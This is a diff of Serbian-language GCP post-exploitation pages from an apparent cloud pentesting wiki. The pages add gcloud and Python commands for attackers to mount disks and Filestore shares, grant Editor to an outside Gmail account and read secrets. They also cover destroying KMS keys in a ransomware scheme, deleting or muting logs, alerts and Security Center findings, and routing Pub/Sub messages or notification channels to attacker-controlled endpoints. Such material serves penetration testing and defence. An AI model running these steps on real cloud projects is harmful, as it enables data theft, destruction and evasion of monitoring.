+ +**Prikači disk** na instancu: + +
+ +Prikači disk na instancu ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ``` -Montirajte disk unutar VM-a: +
+ +Montirajte disk u VM-u: 1. **SSH u VM**: +
+ +SSH u VM i montirajte disk + ```sh gcloud compute ssh [INSTANCE_NAME] --zone [ZONE] ``` -2. **Identifikujte Disk**: Kada ste unutar VM-a, identifikujte novi disk tako što ćete nabrojati disk uređaje. Obično ga možete pronaći kao `/dev/sdb`, `/dev/sdc`, itd. -3. **Formatirajte i Montirajte Disk** (ako je to novi ili sirovi disk): +
-- Kreirajte tačku montiranja: +2. **Identifikujte disk**: Kada ste u VM-u, identifikujte novi disk listanjem disk uređaja. Obično ga možete pronaći kao `/dev/sdb`, `/dev/sdc`, itd. +3. **Formatirajte i montirajte disk** (ako je nov ili sirovi disk): + +- Napravite tačku za montiranje: + +
+ +Napravite tačku za montiranje i montirajte ```sh sudo mkdir -p /mnt/disks/[MOUNT_DIR] ``` +
+ - Montirajte disk: +
+ +Montirajte disk uređaj + ```sh sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR] ``` -Ako **ne možete dati pristup spoljnim projektima** za snimak ili disk, možda ćete morati da **izvršite ove radnje unutar instance u istom projektu kao snimak/disk**. +
+ +Ako **ne možete dati pristup eksternom projektu** snapshotu ili disku, možda ćete morati p**izvršiti ove radnje unutar instance u istom projektu kao snapshot/disk**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md index eefc411cf..94dee2772 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md @@ -4,7 +4,7 @@ ## Filestore -Za više informacija o Filestore-u pogledajte: +Za više informacija o Filestore pogledajte: {{#ref}} ../gcp-services/gcp-filestore-enum.md @@ -12,7 +12,11 @@ Za više informacija o Filestore-u pogledajte: ### Mount Filestore -Deljena datotečna sistema **može sadržati osetljive informacije** zanimljive iz perspektive napadača. Sa pristupom Filestore-u moguće je **montirati ga**: +Deljeni fajl sistem **može sadržati osetljive informacije** koje su interesantne iz perspektive napadača. Sa pristupom Filestore moguće je **mount it**: + +
+ +Mount Filestore filesystem ```bash sudo apt-get update sudo apt-get install nfs-common @@ -22,15 +26,21 @@ showmount -e mkdir /mnt/fs sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs ``` -Da biste pronašli IP adresu filestore instance, proverite sekciju o enumeraciji na stranici: +
+ +Da biste pronašli IP address filestore instance, proverite sekciju za enumeraciju na stranici: {{#ref}} ../gcp-services/gcp-filestore-enum.md {{#endref}} -### Uklonite Ograničenja i dobijte dodatne dozvole +### Uklanjanje ograničenja i dobijanje dodatnih permissions -Ako napadač nije na IP adresi sa pristupom deljenju, ali imate dovoljno dozvola da ga izmenite, moguće je ukloniti ograničenja ili pristup. Takođe je moguće dodeliti više privilegija svojoj IP adresi kako biste imali administratorski pristup deljenju: +Ako attacker nije na IP address koji ima access na share, ali imate dovoljno permissions da ga izmenite, moguće je ukloniti ograničenja ili pristup nad njim. Takođe je moguće dodeliti više privilegija vašem IP address-u kako biste imali admin access nad share-om: + +
+ +Ažuriraj Filestore instance da omogući access ```bash gcloud filestore instances update nfstest \ --zone= \ @@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \ } } ``` -### Restore a backup +
-Ako postoji backup, moguće je **vratiti ga** u postojećem ili u novom instance tako da njegova **informacija postane dostupna:** +### Vraćanje backup-a + +Ako postoji backup, moguće ga je **vratiti** u postojećoj ili u novoj instanci tako da njegovi **podaci postanu dostupni:** + +
+ +Kreirajte novu instancu i vratite backup ```bash # Create a new filestore if you don't want to modify the old one gcloud filestore instances create \ @@ -76,9 +92,15 @@ gcloud filestore instances restore \ # Follow the previous section commands to mount it ``` -### Napravite rezervnu kopiju i vratite je +
-Ako **nemate pristup deljenju i ne želite da ga izmenite**, moguće je **napraviti rezervnu kopiju** i **vratiti** je kao što je prethodno pomenuto: +### Napravite backup i izvršite restore + +Ako **nemate pristup share-u i ne želite da ga menjate**, moguće je **kreirati backup** od njega i **restore** izvršiti kako je ranije pomenuto: + +
+ +Kreirajte backup i izvršite restore u novoj instance ```bash # Create share backup gcloud filestore backups create \ @@ -89,4 +111,6 @@ gcloud filestore backups create \ # Follow the previous section commands to restore it and mount it ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md index 9937ed660..7d88c5d40 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md @@ -4,23 +4,29 @@ ## IAM -Možete pronaći dodatne informacije o IAM u: +You can find further information about IAM in: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md {{#endref}} -### Dodeljivanje pristupa upravljačkoj konzoli +### Dodeljivanje pristupa konzoli za upravljanje -Pristup [GCP upravljačkoj konzoli](https://console.cloud.google.com) je **omogućen korisničkim nalozima, a ne nalozima usluga**. Da biste se prijavili na veb interfejs, možete **dodeliti pristup Google nalogu** koji kontrolišete. To može biti generički "**@gmail.com**" nalog, ne mora **biti član ciljne organizacije**. +Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**. -Da biste **dodelili** primitivnu ulogu **Vlasnika** generičkom "@gmail.com" nalogu, moraćete da **koristite veb konzolu**. `gcloud` će prijaviti grešku ako pokušate da mu dodelite dozvolu iznad Urednika. +Međutim, da biste **dodelili** primitivnu rolu **Owner** generičkom "@gmail.com" nalogu, moraćete da **koristite web console**. `gcloud` će prijaviti grešku ako pokušate da mu dodelite dozvolu iznad **Editor**. -Možete koristiti sledeću komandu da **dodelite korisniku primitivnu ulogu Urednika** za vaš postojeći projekat: +You can use the following command to **grant a user the primitive role of Editor** to your existing project: + +
+ +Dodeli rolu Editor korisniku ```bash gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor ``` -Ako ste uspeli ovde, pokušajte **pristupiti veb interfejsu** i istražiti odatle. +
+ +Ako ste uspeli ovde, pokušajte da **pristupite web interfejsu** i istražite odatle. Ovo je **najviši nivo koji možete dodeliti koristeći gcloud alat**. diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md index 4c72a78f3..021aa6da8 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md @@ -12,7 +12,11 @@ Pronađite osnovne informacije o KMS-u u: ### `cloudkms.cryptoKeyVersions.destroy` -Napadač sa ovom dozvolom mogao bi da uništi KMS verziju. Da biste to uradili, prvo morate da onemogućite ključ, a zatim da ga uništite: +An attacker sa ovom dozvolom može da uništi KMS verziju. Da biste to uradili, prvo morate da onemogućite ključ, a zatim da ga uništite: + +
+ +Onemogući i uništi verziju ključa (Python) ```python # pip install google-cloud-kms @@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version) # Destroy the key version destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version) ``` +
+ ### KMS Ransomware -U AWS-u je moguće potpuno **ukrasti KMS ključ** modifikovanjem KMS resursne politike i dopuštanjem samo napadačevoj računu da koristi ključ. Pošto ove resursne politike ne postoje u GCP-u, to nije moguće. +U AWS je moguće potpuno **steal a KMS key** promenom KMS resource policy i dozvoljavanjem da samo attackers account koristi ključ. Pošto te resource policies ne postoje u GCP, ovo nije moguće. -Međutim, postoji drugi način da se izvrši globalni KMS Ransomware, koji bi uključivao sledeće korake: +Međutim, postoji drugi način da se izvede globalni KMS Ransomware, koji bi uključivao sledeće korake: -- Kreirati novu **verziju ključa sa materijalom ključa** koji je uvezen od strane napadača +- Kreirajte novu **version of the key with a key material** koju je importovao napadač ```bash gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY] ``` -- Postavite ga kao **podrazumevanu verziju** (za buduće podatke koji se šifruju) -- **Ponovo šifrujte starije podatke** šifrovane prethodnom verzijom novom. -- **Obrišite KMS ključ** -- Sada samo napadač, koji ima originalni materijal ključa, može dešifrovati šifrovane podatke +- Postavi je kao **podrazumevanu verziju** (za buduće podatke koji će biti enkriptovani) +- **Ponovo enkriptuj starije podatke** koji su bili enkriptovani prethodnom verzijom koristeći novu. +- **Obriši KMS key** +- Sada samo napadač koji poseduje originalni ključni materijal može da dekriptuje enkriptovane podatke #### Evo koraka za uvoz nove verzije i onemogućavanje/brisanje starijih podataka: + +
+ +Uvezi novu verziju ključa i obriši staru verziju ```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt @@ -146,7 +156,13 @@ gcloud kms keys versions destroy \ --version 1 ``` +
+ ### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation` + +
+ +Šifrovanje podataka simetričnim ključem (Python) ```python from google.cloud import kms import base64 @@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt' ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext) print('Ciphertext:', ciphertext) ``` +
+ ### `cloudkms.cryptoKeyVersions.useToSign` + +
+ +Potpiši poruku asimetričnim ključem (Python) ```python import hashlib from google.cloud import kms @@ -215,7 +237,13 @@ message = 'your-message' signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print('Signature:', signature) ``` +
+ ### `cloudkms.cryptoKeyVersions.useToVerify` + +
+ +Verifikuj potpis asimetričnim ključem (Python) ```python from google.cloud import kms import hashlib @@ -242,4 +270,6 @@ return verify_response.success verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature) print('Verified:', verified) ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md index 315a1ad76..d963d8fd8 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Osnovne Informacije +## Osnovne informacije Za više informacija pogledajte: @@ -10,21 +10,25 @@ Za više informacija pogledajte: ../gcp-services/gcp-logging-enum.md {{#endref}} -Za druge načine ometanja nadzora pogledajte: +Za druge načine kako poremetiti monitoring pogledajte: {{#ref}} gcp-monitoring-post-exploitation.md {{#endref}} -### Podrazumevano Logovanje +### Podrazumevano logovanje -**Podrazumevano nećete biti uhvaćeni samo zbog izvođenja akcija čitanja. Za više informacija pogledajte odeljak Logging Enum.** +**Po defaultu, nećeš biti otkriven samo zbog izvršavanja read akcija. Za više informacija pogledajte sekciju Logging Enum.** -### Dodaj Izuzeti Princip +### Dodavanje izuzetog Principal-a -Na [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) i [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) je moguće dodati principe koji neće generisati logove. Napadač bi to mogao zloupotrebiti da spreči da bude uhvaćen. +U [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) i [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) moguće je dodati principe kojima se neće generisati logovi. Napadač bi ovo mogao zloupotrebiti da bi izbegao otkrivanje. -### Čitaj logove - `logging.logEntries.list` +### Čitanje logova - `logging.logEntries.list` + +
+ +Pročitaj unose iz logova ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json @@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format= # Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default ``` +
+ ### `logging.logs.delete` + +
+ +Obriši zapise dnevnika ```bash # Delete all entries from a log in the _Default log bucket - logging.logs.delete gcloud logging logs delete ``` -### Zapišite logove - `logging.logEntries.create` +
+ +### Pisanje logova - `logging.logEntries.create` + +
+ +Kreiraj log zapis ```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR ``` +
+ ### `logging.buckets.update` + +
+ +Ažuriraj retenciju log bucket-a ```bash # Set retention period to 1 day (_Required has a fixed one of 400days) gcloud logging buckets update bucketlog --location= --description="New description" --retention-days=1 ``` +
+ ### `logging.buckets.delete` + +
+ +Obriši log bucket ```bash # Delete log bucket gcloud logging buckets delete BUCKET_NAME --location= ``` +
+ ### `logging.links.delete` + +
+ +Obriši log link ```bash # Delete link gcloud logging links delete --bucket --location ``` +
+ ### `logging.views.delete` + +
+ +Obriši logging view ```bash # Delete a logging view to remove access to anyone using it gcloud logging views delete --bucket= --location=global ``` +
+ ### `logging.views.update` + +
+ +Ažuriraj logging view da sakrije podatke ```bash # Update a logging view to hide data gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view" ``` +
+ ### `logging.logMetrics.update` + +
+ +Ažuriraj metrike zasnovane na logovima ```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID ``` +
+ ### `logging.logMetrics.delete` + +
+ +Obriši log-based metrike ```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics delete ``` +
+ ### `logging.sinks.delete` + +
+ +Izbriši sink za logove ```bash # Delete sink - logging.sinks.delete gcloud logging sinks delete ``` +
+ ### `logging.sinks.update` + +
+ +Ažuriraj/ometi log sink ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled @@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions gcloud logging sinks update SINK_NAME --use-partitioned-tables gcloud logging sinks update SINK_NAME --no-use-partitioned-tables ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md index adeb10d96..90a12797d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md @@ -4,13 +4,13 @@ ## Monitoring -Za više informacija proverite: +Za više informacija pogledajte: {{#ref}} ../gcp-services/gcp-monitoring-enum.md {{#endref}} -Za druge načine ometanja logova proverite: +Za druge načine za ometanje logova pogledajte: {{#ref}} gcp-logging-post-exploitation.md @@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md ### `monitoring.alertPolicies.delete` -Obrišite politiku upozorenja: +Obrišite pravilo upozorenja: + +
+ +Obrišite pravilo upozorenja ```bash gcloud alpha monitoring policies delete ``` +
+ ### `monitoring.alertPolicies.update` -Poremetite politiku upozorenja: +Poremetiti politiku upozorenja: + +
+ +Poremetiti politiku upozorenja ```bash # Disable policy gcloud alpha monitoring policies update --no-enabled @@ -39,9 +49,15 @@ gcloud alpha monitoring policies update --set-notification-channe gcloud alpha monitoring policies update --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }" # or use --policy-from-file ``` +
+ ### `monitoring.dashboards.update` -Izmenite kontrolnu tablu da je ometate: +Izmenite dashboard da biste ga poremetili: + +
+ +Ometi dashboard ```bash # Disrupt dashboard gcloud monitoring dashboards update --config=''' @@ -53,16 +69,28 @@ widgets: content: Hello World ''' ``` +
+ ### `monitoring.dashboards.delete` -Obriši kontrolnu tablu: +Izbriši dashboard: + +
+ +Izbriši dashboard ```bash # Delete dashboard gcloud monitoring dashboards delete ``` +
+ ### `monitoring.snoozes.create` -Spriječite politike da generišu upozorenja kreiranjem snoozer-a: +Sprečite da politike generišu upozorenja kreiranjem snoozer-a: + +
+ +Kreirajte snoozer da zaustavite upozorenja ```bash # Stop alerts by creating a snoozer gcloud monitoring snoozes create --display-name="Maintenance Week" \ @@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \ --start-time="2023-03-01T03:00:00.0-0500" \ --end-time="2023-03-07T23:59:59.5-0500" ``` +
+ ### `monitoring.snoozes.update` -Ažurirajte vreme snoozer-a kako biste sprečili kreiranje upozorenja kada je napadač zainteresovan: +Ažurirajte vreme snoozera da biste sprečili stvaranje alerts kada je napadač zainteresovan: + +
+ +Ažurirajte vreme snoozera ```bash # Modify the timing of a snooze gcloud monitoring snoozes update --start-time=START_TIME --end-time=END_TIME @@ -80,19 +114,33 @@ gcloud monitoring snoozes update --start-time=START_TIME --end-time=END # odify everything, including affected policies gcloud monitoring snoozes update --snooze-from-file= ``` +
+ ### `monitoring.notificationChannels.delete` -Obriši konfigurisan kanal: +Obriši konfigurisani kanal obaveštenja: + +
+ +Obriši kanal obaveštenja ```bash # Delete channel gcloud alpha monitoring channels delete ``` +
+ ### `monitoring.notificationChannels.update` -Ažurirajte oznake kanala da biste ga omeli: +Ažurirajte oznake kanala da biste ga ometali: + +
+ +Ažurirajte oznake kanala za notifikacije ```bash # Delete or update labels, for example email channels have the email indicated here gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md index bf5073a63..00752c7a1 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md @@ -1,10 +1,10 @@ -# GCP - Pub/Sub Post Exploatacija +# GCP - Pub/Sub Post-eksploatacija {{#include ../../../banners/hacktricks-training.md}} ## Pub/Sub -Za više informacija o Pub/Sub, proverite sledeću stranicu: +Za više informacija o Pub/Sub pogledajte sledeću stranicu: {{#ref}} ../gcp-services/gcp-pub-sub.md @@ -12,40 +12,68 @@ Za više informacija o Pub/Sub, proverite sledeću stranicu: ### `pubsub.topics.publish` -Objavite poruku u temi, korisno za **slanje neočekivanih podataka** i aktiviranje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti: +Objavite poruku u topic, korisno za **slanje neočekivanih podataka** i pokretanje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti: + +
+ +Objavi poruku u topic ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ``` +
+ ### `pubsub.topics.detachSubscription` -Koristan za sprečavanje pretplate da prima poruke, možda da bi se izbegla detekcija. +Koristan za sprečavanje da subscription prima poruke, možda da bi se izbegla detekcija. + +
+ +Odvoji subscription od topic-a ```bash gcloud pubsub topics detach-subscription ``` +
+ ### `pubsub.topics.delete` -Koristan za sprečavanje pretplate da prima poruke, možda da se izbegne otkrivanje.\ -Moguće je obrisati temu čak i sa pretplatama koje su joj pridružene. +Korisno za sprečavanje da subscription prima poruke, možda radi izbegavanja detekcije.\ +Moguće je obrisati topic čak i kada su subscriptions prikačene za njega. + +
+ +Obriši topic ```bash gcloud pubsub topics delete ``` +
+ ### `pubsub.topics.update` -Koristite ovu dozvolu da ažurirate neka podešavanja teme kako biste je ometali, kao što su `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... +Koristite ovu dozvolu da ažurirate neku postavku topic-a kako biste ga poremetili, kao što su `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... ### `pubsub.topics.setIamPolicy` -Dajte sebi dozvolu da izvršite bilo koji od prethodnih napada. +Dodelite sebi dozvolu da izvršite bilo koji od prethodnih napada. ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`) -Preuzmite sve poruke na veb serveru: +Preuzmite sve poruke na web serveru: + +
+ +Kreirajte push subscription za primanje poruka ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ``` -Kreirajte pretplatu i koristite je za **povlačenje poruka**: +
+ +Kreirajte subscription i koristite ga za **pull messages**: + +
+ +Kreirajte pull subscription i preuzmite poruke ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic @@ -54,26 +82,44 @@ gcloud pubsub subscriptions create --topic gcloud pubsub subscriptions pull ## This command will wait for a message to be posted ``` +
+ ### `pubsub.subscriptions.delete` -**Brisanje pretplate** može biti korisno za ometanje sistema za obradu logova ili nečega sličnog: +**Brisanje subscription-a** može biti korisno za ometanje sistema za obradu logova ili nečeg sličnog: + +
+ +Brisanje subscription-a ```bash gcloud pubsub subscriptions delete ``` +
+ ### `pubsub.subscriptions.update` -Koristite ovu dozvolu da ažurirate neka podešavanja tako da se poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query tabela, Bucket) ili samo da ih ometate. +Koristite ovu dozvolu да ажурiraтe неку постaвку тако да се poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query table, Bucket) или једноставно да је ometate. + +
+ +Ažuriranje endpointa pretplate ```bash gcloud pubsub subscriptions update --push-endpoint ``` +
+ ### `pubsub.subscriptions.setIamPolicy` -Dajte sebi dozvole potrebne za izvođenje bilo kojeg od prethodno komentisanih napada. +Dodelite sebi dozvole potrebne za izvođenje bilo kog od prethodno pomenutih napada. ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`) -Napadnite šemu na temu tako da poruke ne ispunjavaju šemu i tako se tema ometa.\ -Ako nema šema, možda ćete morati da kreirate jednu. +Prikačite schema na topic tako da poruke ne ispunjavaju njegovu definiciju i zbog toga topic bude ometen.\ +Ako nema nijedne schema, možda ćete morati da kreirate jednu. + +
+ +Kreirajte schema fajl i prikačite ga na topic ```json:schema.json { "namespace": "com.example", @@ -98,23 +144,37 @@ gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` +
+ ### `pubsub.schemas.delete` -Ovo može izgledati kao brisanje šeme, ali ćete moći slati poruke koje ne ispunjavaju šemu. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u temu. Dakle, ovo je **BEZVREDNO**: +Ovo može izgledati kao da će, brisanjem šeme, moći da se šalju poruke koje ne zadovoljavaju šemu. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u topic. Dakle, ovo je **BESMISLENO**: + +
+ +Obriši šemu (nije korisno) ```bash gcloud pubsub schemas delete ``` +
+ ### `pubsub.schemas.setIamPolicy` -Dajte sebi dozvole potrebne za izvođenje bilo kojeg od prethodno komentisanih napada. +Dodelite sebi dozvole potrebne za izvođenje bilo kojeg od prethodno pomenutih attacks. ### `pubsub.snapshots.create`, `pubsub.snapshots.seek` -Ovo će kreirati snimak svih neACKovanih poruka i vratiti ih u pretplatu. Nije baš korisno za napadača, ali evo: +Ovo će kreirati snapshot svih unACKed poruka i vratiti ih nazad u subscription. Nije naročito korisno za attacker, ali evo: + +
+ +Create snapshot and seek to it ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md index 58014b31c..5678f3cc8 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md @@ -4,7 +4,7 @@ ## Secretmanager -Za više informacija o Secret Manager-u pogledajte: +Za više informacija o Secret Manager pogledajte: {{#ref}} ../gcp-services/gcp-secrets-manager-enum.md @@ -12,9 +12,15 @@ Za više informacija o Secret Manager-u pogledajte: ### `secretmanager.versions.access` -Ovo vam omogućava pristup čitanju tajni iz menadžera tajni i možda bi to moglo pomoći u eskalaciji privilegija (u zavisnosti od toga koje informacije su pohranjene unutar tajne): +Ovo vam daje pristup za čitanje secrets iz Secret Manager-a i može pomoći u eskalaciji privilegija (u zavisnosti od informacija koje su uskladištene u secret-u): + +
+ +Pristup verziji secret-a ```bash # Get clear-text of version 1 of secret: "" gcloud secrets versions access 1 --secret="" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md index 8860328e7..d0a362d99 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md @@ -1,4 +1,4 @@ -# GCP - Bezbednost Post Eksploatacije +# GCP - Security Post Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -12,37 +12,67 @@ Za više informacija pogledajte: ### `securitycenter.muteconfigs.create` -Spriječite generisanje nalaza koji bi mogli otkriti napadača kreiranjem `muteconfig`: +Sprečite generisanje nalaza koji bi mogli otkriti napadača kreiranjem `muteconfig`: + +
+ +Kreiraj Muteconfig ```bash # Create Muteconfig gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\"" ``` +
+ ### `securitycenter.muteconfigs.update` -Spriječite generisanje nalaza koji bi mogli otkriti napadača ažuriranjem `muteconfig`: +Sprečite generisanje nalaza koji bi mogli otkriti napadača ažuriranjem `muteconfig`: + +
+ +Ažuriraj Muteconfig ```bash # Update Muteconfig gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\"" ``` +
+ ### `securitycenter.findings.bulkMuteUpdate` -Utišajte nalaze na osnovu filtera: +Utišavanje nalaza na osnovu filtera: + +
+ +Masovno utišavanje na osnovu filtera ```bash # Mute based on a filter gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\"" ``` -Pronađeni problemi koji su isključeni neće se pojaviti na SCC kontrolnoj tabli i izveštajima. +
+ +Utišani nalaz se neće pojaviti na SCC kontrolnoj tabli i u izveštajima. ### `securitycenter.findings.setMute` -Isključite pronalaze na osnovu izvora, pronalazaka... +Utišavanje nalaza na osnovu izvora, nalaza... + +
+ +Označi nalaz kao utišan ```bash -gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED +gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED ``` +
+ ### `securitycenter.findings.update` -Ažurirajte nalaz da biste označili netačne informacije: +Ažurirajte nalaz da označite netačne informacije: + +
+ +Ažurirajte stanje nalaza ```bash gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md index 093050028..bfd82d9a8 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md @@ -1,18 +1,22 @@ -# GCP - Post Eksploatacija Skladišta +# GCP - Storage Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Cloud Storage -Za više informacija o Cloud Storage, proverite ovu stranicu: +Za više informacija o Cloud Storage pogledajte ovu stranicu: {{#ref}} ../gcp-services/gcp-storage-enum.md {{#endref}} -### Dati Javni Pristup +### Omogućavanje javnog pristupa -Moguće je dati spoljnim korisnicima (prijavljenim u GCP ili ne) pristup sadržaju kanti. Međutim, po defaultu, kanta će imati onemogućenu opciju da javno izloži kantu: +Moguće je omogućiti eksternim korisnicima (prijavljenim na GCP ili ne) pristup sadržaju bucket-ova. Međutim, po defaultu opcija za javno izlaganje bucket-a biće onemogućena: + +
